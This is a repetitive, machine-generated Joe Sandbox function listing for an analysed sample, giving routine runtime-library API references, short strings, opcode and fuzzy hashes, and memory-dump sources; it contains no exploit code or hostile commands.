Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 3480331319-1018135373
Opcode ID: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction ID: f2f8526e44dca3677b544f1797a4f8c4db6d6becd238956391975d838c59c261
Opcode Fuzzy Hash: 5641a44dda4cb41aef4b567e19f678f9a0ce6225873a8c2651de762a4506a773
Instruction Fuzzy Hash: 6F41B630A042289BDF10DF68C884A9EBBB5FF45318F14C1D5E8169B391DB79FA16CB91

Function 04B6C2C7 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000), ref: 04B6C2EC

Strings

RCC, xrefs: 04B6C306
MOC, xrefs: 04B6C2FE

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: 917589a17fa48d0c0117c867cbdd4a58963f7d51df9dc502e855e3b9743bc4ae
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: 21412A71900149EFDF25DF98C980AEE7BB5FF48304F148499E95AA7211D239A950DB50

Function 100044D6 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?), ref: 100044FB

Strings

RCC, xrefs: 10004515
MOC, xrefs: 1000450D

Memory Dump Source

Source File: 00000000.00000002.2447840910.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2447811719.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2447971834.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2448059088.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction ID: 0fa13f4c886c2deeb8e1184eea68dc96f9460117e0f406c7378fe553058e7938
Opcode Fuzzy Hash: ca9cd7b99e72cbf3783ae7526526635f66225abf8acecb3cb58be7c4c4c22851
Instruction Fuzzy Hash: 7B419DB5900109AFEF06CF94CC81AEE7BB5FF48384F168059F9046B25AD736EA50CB55

Function 0040C060 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,?,00000000,1FFFFFFF), ref: 0040C085

Strings

MOC, xrefs: 0040C097
RCC, xrefs: 0040C09F

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction ID: fbbd96fe11317218043276dd35bf9a0f08be73a273ccdb2477d392fe495d2932
Opcode Fuzzy Hash: dec2c1a8c1fc86745a31a1a2a9fa5c906894c1295ee00ff621ec7b5f648f62df
Instruction Fuzzy Hash: EC414972900209EFCF15DF94CD81AAEBBB5BF48304F14826AF9057B2A2D3399951DF58

Function 04D20700 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D2078C

Strings

KN, xrefs: 04D2072E
]DFE, xrefs: 04D20720

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: KN$]DFE
API String ID: 1385522511-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: ffd3fe2b50a78c5f5316db30362cb10b6cad8024117f1a61405c7be6c682d57f
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 582126B0F00294DAE720EF64E9557A9B760FF2930CF8482A9E5541B261EB7461C2CF6D

Function 04B61567 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

__Init_thread_footer.LIBCMT ref: 04B615F3

Part of subcall function 04B69EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EAC
Part of subcall function 04B69EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69EDF

Strings

]DFE, xrefs: 04B61587
KN, xrefs: 04B61595

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: KN$]DFE
API String ID: 4132704954-873640922
Opcode ID: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction ID: b23fc70bfc34c276a891f5aea97341a47f012d0c7fb13a45681226f85e14eade
Opcode Fuzzy Hash: c7f53b009e95d7dd01e5f31d15fda14bb4db076080706df986ab624f9e59cbce
Instruction Fuzzy Hash: 05213CF0F00284CAE724EF68E8457A4B770EF1A308F84C2A5E4561B261DB7966C6CF5D

Function 00401300 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 69COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040138C

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

]DFE, xrefs: 00401320
KN, xrefs: 0040132E

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: KN$]DFE
API String ID: 2296764815-873640922
Opcode ID: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction ID: c7a597aca517c447b6d362385d7579deaaf1cbe7f5b4030a5a3b5ced69f100f5
Opcode Fuzzy Hash: d6f8056c27549fa5a6288615fe1556662b6743ffa200569e1178aac9022ea53a
Instruction Fuzzy Hash: 57210CB0F00384CAE724DF64E8467B9B760AF19308F44827AF8546B2B2D77855C2CB5D

Function 04D27810 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D2787E

Strings

_DC[, xrefs: 04D27827
CD^O, xrefs: 04D27830

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: e9cfb78cda0e0a9087aa4ddddf917336dd1108060d70ea76457fc8227023e36f
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 7B01F970F042689BD720FFB8AE51AADB360EB28319F9006B9D11557290EB74B541CB99

Function 04D27250 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D272BE

Strings

CD^O, xrefs: 04D27270
_DC[, xrefs: 04D27267

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: CD^O$_DC[
API String ID: 1385522511-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 2379599d1b97c187dccd207d5be6737222c21256d2ee52c9fb8755f99f221a78
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 0601F9B1F00268DFD720FFB8AE51A6D7360EB25308FA006A9E5195B290E7346541CB6A

Function 04B68677 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

__Init_thread_footer.LIBCMT ref: 04B686E5

Part of subcall function 04B69EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EAC
Part of subcall function 04B69EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69EDF

Strings

CD^O, xrefs: 04B68697
_DC[, xrefs: 04B6868E

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction ID: 92e142771ffdf2e382be81bdbe006d865701c3eb5bd01b7da73c64e893db0b1b
Opcode Fuzzy Hash: 7341acffab0f8a50cb3dab6dc950932259dbe6591db13ae44b5a8b6a513e7e4b
Instruction Fuzzy Hash: 1901F970F08358DBD720FF7DAD41A5D73A0EB19210F9005A9D11657350DB78B985CB89

Function 04B680B7 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

__Init_thread_footer.LIBCMT ref: 04B68125

Part of subcall function 04B69EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EAC
Part of subcall function 04B69EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69EDF

Strings

_DC[, xrefs: 04B680CE
CD^O, xrefs: 04B680D7

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: CD^O$_DC[
API String ID: 4132704954-3597986494
Opcode ID: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction ID: 286eae8572910f8fd18f89a5e6f1ec8c7e118476eda1404144ba1a6d9747158b
Opcode Fuzzy Hash: 1a70cf315e0b4c7e3d836be999733c222d33353a0e53b5b2c205e893295131da
Instruction Fuzzy Hash: 5B0149B1F01208DFCB20FF68FC41A6D73A0EB1A200FA001A9E41A5B350D73869868B46

Function 00408410 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 0040847E

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

CD^O, xrefs: 00408430
_DC[, xrefs: 00408427

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction ID: e43b8a85f3d3021ebc641e50c070c1ece00a7f90a8480fa311e7b242f9d929d7
Opcode Fuzzy Hash: 399a8b999e5772a2d09049cbf9d260b7606379017b1484e9f9d8dab40e033c4e
Instruction Fuzzy Hash: A0012B70F04258CBC720EBB9AD41A5D7360A718304F50017ED51467381EB789941878D

Function 00407E50 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407EBE

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

_DC[, xrefs: 00407E67
CD^O, xrefs: 00407E70

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: CD^O$_DC[
API String ID: 2296764815-3597986494
Opcode ID: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction ID: 75c8c8ce13ad0cb5c53a0921d7a0f1eb8d827427a00a4f276ef8137bbb37e5e9
Opcode Fuzzy Hash: 763e4a14a1476fea278d585dab10dabfb5d17371b066c90e302f9cae630bd372
Instruction Fuzzy Hash: 5601DB71F05248CFC720EBA4ED4196A7760AB15304F90017EE51967391D6785D41874F

Function 04D26C00 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D26C69

Strings

DCDO, xrefs: 04D26C16
EDO*, xrefs: 04D26C1D

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$EDO*
API String ID: 1385522511-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: f6bbf0fb50d5f797ecefbdd7be3f17fdae289e32511212a927c0abed0e1518f7
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: 2501D170F04218DBDB20EFB4EA41E5DBBB0EB2430CF9041BAD80597790CA34A902DF59

Function 04D26D10 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D26D79

Strings

DCDO, xrefs: 04D26D26
^]E*, xrefs: 04D26D2D

Memory Dump Source

Source File: 00000000.00000003.1813238641.0000000004D20000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D20000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d20000_file.jbxd

Similarity

API ID: Init_thread_footer
String ID: DCDO$^]E*
API String ID: 1385522511-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: 4163c3e8e7d17eac4c9eb69d12a87c47631c5a27556567cfd7b1e67b1a618e5b
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: 8A0186B0F00218DBD720EFA8DA8269D77B0E754308F9041BAE81957390D635A985CF59

Function 04B67A67 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

__Init_thread_footer.LIBCMT ref: 04B67AD0

Part of subcall function 04B69EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EAC
Part of subcall function 04B69EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69EDF

Strings

EDO*, xrefs: 04B67A84
DCDO, xrefs: 04B67A7D

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$EDO*
API String ID: 4132704954-3480089779
Opcode ID: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction ID: a48645c52fb5a95fe754599e3458041630d54a079015420d0b6f79af3dffcf64
Opcode Fuzzy Hash: 0c4b274b1f736970c2523dd1c5506a016ef446dce9cac0d32a5329abb2f60a7d
Instruction Fuzzy Hash: 8E01F4B0F04208DBDB20DFA4E841E5CB7B0EB14308F9045BAC806A7390CA38BA07CF49

Function 04B67B77 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 04B69EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EF7
Part of subcall function 04B69EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69F34

__Init_thread_footer.LIBCMT ref: 04B67BE0

Part of subcall function 04B69EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B69EAC
Part of subcall function 04B69EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B69EDF

Strings

^]E*, xrefs: 04B67B94
DCDO, xrefs: 04B67B8D

Memory Dump Source

Source File: 00000000.00000002.2446453132.0000000004B60000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B60000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b60000_file.jbxd

Yara matches

Similarity

API ID: CriticalSection$EnterLeave$Init_thread_footer
String ID: DCDO$^]E*
API String ID: 4132704954-2708296792
Opcode ID: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction ID: f8b868fc1d68ae16bc55c6a6c9b5d32319e33e9440664e195cf2df43ae141cdd
Opcode Fuzzy Hash: 11f08cc739a34c9adf3450d8bd9b345e73f0704a249345ec43240eb2c7ab1f2c
Instruction Fuzzy Hash: D901C8F0F00208DFDB20DFA9E882A9D77B0E744304F9041BAE81A57390DA39B985CF49

Function 00407800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407869

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

EDO*, xrefs: 0040781D
DCDO, xrefs: 00407816

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$EDO*
API String ID: 2296764815-3480089779
Opcode ID: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction ID: 2c0c492e7e72bdb30d52bd5223af33e2dc0730c32d16496d374a94bf7777f62b
Opcode Fuzzy Hash: c1255349a2e57ad23b9470b93f2817b8619d13366b065ca6f952b4fb9d144549
Instruction Fuzzy Hash: 5B016275F08208DBDB20EFA5D842E5DB7B0AB14708F50417ED916A7791DA38AD02CF4D

Function 00407910 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

Part of subcall function 00409C85: EnterCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409C90
Part of subcall function 00409C85: LeaveCriticalSection.KERNEL32(0042D064,?,?,?,00401044,0042DA8C), ref: 00409CCD

__Init_thread_footer.LIBCMT ref: 00407979

Part of subcall function 00409C3B: EnterCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C45
Part of subcall function 00409C3B: LeaveCriticalSection.KERNEL32(0042D064,?,?,00401079,0042DA8C,0041DC90), ref: 00409C78
Part of subcall function 00409C3B: RtlWakeAllConditionVariable.NTDLL ref: 00409CEF

Strings

DCDO, xrefs: 00407926
^]E*, xrefs: 0040792D

Memory Dump Source

Source File: 00000000.00000002.2443424686.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$ConditionInit_thread_footerVariableWake
String ID: DCDO$^]E*
API String ID: 2296764815-2708296792
Opcode ID: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction ID: a49365da1333b78fae32507e70f919b170a79118b3a39b38b1efb03faeb462bb
Opcode Fuzzy Hash: ffab40d94f7747eb7ab79d41521036dd22da8b0a9ae6696f2e7e2344855eaeaf
Instruction Fuzzy Hash: 92011DB0F042089BD720EFA9E883A9DB7A0A784704F90417FE919A7391D6396D81CF4D